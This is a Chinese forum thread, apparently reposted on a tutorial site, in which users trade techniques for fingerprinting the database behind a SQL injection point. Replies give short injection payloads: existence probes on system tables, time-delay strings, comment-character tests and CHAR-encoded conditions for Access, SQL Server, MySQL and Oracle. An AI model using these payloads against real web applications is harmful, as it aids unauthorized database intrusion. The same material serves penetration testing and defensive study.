好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

一个注射点如何最快速确认是什么类型数据库

假设这么一个注射点:

 

 

 

 

其他的欢迎补充

 

1#

 

 

Access:

 

 

and exists(select id from MSysAccessObjects)

 

SQL Server:

 

and exists(select id from sysobjects)

 

 

MySQL:

 

 

2#

 

 

 如果这些都不是呢...

 

3#

 

 

 不快速的,延时注入

 

不知道这样写对不对

 

mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'

 

mysql:id=2 and select benchmark(1e8,current_date());

 

4#

 

 

最快的貌似是看报错信息

 

oracle error

 

mssql error

 

mysql error

 

5#

 

 

小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)

 

6#

 

 

[/*]是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

 

[--]是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种 数据库 类型之一。继续提交如下查询字符:

 

[;]是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。

 

7#

 

 

PostgreSQL

 

8#

 

 

 

oracle:

 

CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)

 

mssql :

 

CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)

 

mysql :

 

CHAR(97, 110, 100, 32, 49, 61, 49)

 

9#

 

 

 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?

 

10#

 

 

  是奇葩数据库类型的么?

 

根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:

 

1.是否可以使用特定的函数来判断,该数据库特有的

 

2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等

 

3.是否可以编码查询

 

4.是否显可以利用错信息

 

5.是否存在数据库某些特性辅助判断

 

个人见解

 

11#

 

 

已收藏,mssql可以直接看到错误提示的吧~

 

12#

 

 

曾被 GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。

查看更多关于一个注射点如何最快速确认是什么类型数据库的详细内容...

  阅读:42次